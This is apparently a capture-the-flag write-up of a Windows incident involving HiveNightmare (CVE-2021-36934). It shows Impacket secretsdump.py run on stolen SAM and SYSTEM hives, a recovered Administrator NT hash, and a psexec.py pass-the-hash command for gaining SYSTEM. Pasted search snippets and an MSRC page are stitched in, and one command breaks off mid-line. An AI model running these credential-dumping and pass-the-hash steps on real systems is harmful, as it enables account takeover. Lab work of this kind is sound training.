Senario

Some confidential Administrator documents were stolen. They did not have much logging in place because as per the company, “it was on a secure site and did not have public networking enabled”. One of the cleaners was suspiciously going in and out of the room as seen on CCTV recordings. Some updates were made to the server through RDP session as administrator before the attack was known. You are provided access to the system in the state it was found. The damage has been done but how was the documents accessed?

- What we have is the infected machine left by the attacker.

Investigation Screenshots

- What is the CVE of the exploit?

- When we log on the infected system, Firstly, talk a look the recent files. After checking the log, we do not gain any clues about the attack.

- I failed to open any log from winevt because access is denied.

- For answer the question, we should find the malicious exploit. Where is it from and how to be used? --we should check the history of the powershell.

HiveNightmare | Protecting Windows 10 SAM from CVE- ...

May 7, 2025 — **HiveNightmare** is a Windows 10 Local Privilege Escalation vulnerability that is trivial to exploit. Learn how it is used in attacks and how ...

National Institute of Standards and Technology (.gov)
https://nvd.nist.gov › vuln › detail › cve-2021-36934

CVE-2021-36934 Detail - NVD

An elevation of privilege vulnerability exists because of overly permissive Access Control Lists (ACLs) on multiple system files. Read more

- Let's go offensive. What is the Administrator's nthash?
  - **nthash** : An NT hash (or NTLM hash) is the hashed version of a Windows password, generated by applying the MD4 hashing algorithm to the UTF-16LE encoded password, stored in the Windows Security Accounts Manager (SAM) file, and is used during the NTLM (NT LAN Manager) authentication process.
  - From the investigation of the first question, we know that the malicious file, dumper.ps1, is at `C:\Users\BTLOTest\AppData\Local\Temp` . Then we try searching the tmp files. We got 3 hive1 files which are relative to the Impacket tool. (copy them to other folder, they may disappear sometimes.)

› This PC › Local Disk (C:) › Users › BTLOTest › AppData › Local › Temp ›

Name	Date modified	Type	Size
1	8/17/2021 12:30 PM	File folder	
Sam.hive1	5/21/2021 11:51 AM	HIVE1 File	128 KB
Soft.hive1	8/17/2021 11:28 AM	HIVE1 File	81,920 KB
Sys.hive1	5/21/2021 11:51 AM	HIVE1 File	17,920 KB

  - `.hiv` files are raw exports of Windows Registry hives, often found in forensic images or memory dumps.

SAM & LSA secrets

Impacket's secretsdump (Python) can be used to dump SAM and LSA secrets, either remotely, or from local files. For remote dumping, several authentication ... Read more

```
root@kali:~# impacket-secretsdump -h
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

usage: secretsdump.py [-h] [-ts] [-debug] [-system SYSTEM] [-bootkey BOOTKEY]
                      [-security SECURITY] [-sam SAM] [-ntds NTDS]
                      [-resumefile RESUMEFILE] [-skip-sam] [-skip-security]
                      [-outputfile OUTPUTFILE] [-use-vss] [-rodcNo RODCNO]
                      [-rodcKey RODCKEY] [-use-keylist]
                      [-exec-method [{smbexec,wmiexec,mmcexec}]]
                      [-use-remoteSSWMI] [-use-remoteSSWMI-NTDS]
                      [-remoteSSWMI-remote-volume REMOTESSWMI_REMOTE_VOLUME]
                      [-remoteSSWMI-local-path REMOTESSWMI_LOCAL_PATH]
                      [-just-dc-user USERNAME] [-ldapfilter LDAPFILTER]
                      [-just-dc] [-just-dc-ntlm] [-skip-user SKIP_USER]
                      [-pwd-last-set] [-user-status] [-history]
                      [-hashes LMHASH:NTHASH] [-no-pass] [-k]
                      [-aesKey hex key] [-keytab KEYTAB] [-dc-ip ip address]
                      [-target-ip ip address]
                      target

Performs various techniques to dump secrets from the remote machine without
executing any agent there.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
                        or LOCAL (if you want to parse local files)
```

- Now， we focus on where to find the impacket tool.

1. Default Installation Location

If you installed Impacket using `pip`, the scripts (`psexec.py`, `secretsdump.py`, etc.) are usually placed in the **Scripts** folder of your Python installation: Medium +1

- **Path:** `C:\Python3x\Scripts\` or `C:\Users\<YourUsername>\AppData\Local\Programs\Python\Python3x\Scripts\`
- **Using pipx:** If installed via `pipx` (recommended), they are located in `C:\Users\<YourUsername>\.local\bin\pipx\venvs\impacket\Scripts`.
  Mintlify +1
- we find it at `C:\Python27\Scripts`

- run the script with arguments with powershell. We get the SAM hash of Administrator. But SAM hash = LM hash + NTLM hash. LM hash is less useful in normal system. NTLM is the key we are looking for.

```
PS C:\Python27> .\python.exe .\Scripts\secretsdump.py -system C:\Users\BTLOTest\Desktop\Sys.hive1 -sam C:\Users\BTLOTest
\Desktop\Sam.hive1 Local

- Answer: f507ace7e1088981dfb732be9d7a53f7

- What is the name of the writeable share?
  - `net share` to search the machine sharing the content with local `C:Windows`.

```
PS C:\Python27> net share

Share name   Resource                        Remark

-------------------------------------------------------------------------------
C$           C:\                             Default share
D$           D:\                             Default share
IPC$                                         Remote IPC
ADMIN$       C:\Windows                      Remote Admin
The command completed successfully.

PS C:\Python27>
```

  - Answer: ADMIN$

- What is the Domain Admin password?
  - For searching the password, We can use a script of impacket, psexec.py, to escalate privilege.

```
PS C:\Python27> .\python.exe .\Scripts\psexec.py -h
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: psexec.py [-h] [-c pathname] [-path PATH] [-file FILE] [-ts] [-debug]
                 [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key]
                 [-keytab KEYTAB] [-dc-ip ip address] [-target-ip ip address]
                 [-port [destination port]] [-service-name service_name]
                 [-remote-binary-name remote_binary_name]
                 target [command [command ...]]

PSEXEC like functionality example using RemComSvc.
```

  - whoami---> confirm the identity. We get nt authority\system account.

```
PS C:\Python27> .\python.exe .\Scripts\psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:f507ace7e1088981dfb732be9d7a53

Security Update Guide - Microsoft Security Response Center

You need to enable JavaScript to run this app.

Workarounds

We recommend installing this security update as soon as possible. If you must delay installation of this security update, we recommend this workaround:

Restrict access to the contents of %windir%\system32\config

Command Prompt (Run as administrator): `icacls %windir%\system32\config\*.* /inheritance:e`

Windows PowerShell (Run as administrator): `icacls $env:windir\system32\config\*.* /inheritance:e`

- Answer: `%windir%\system32\config`
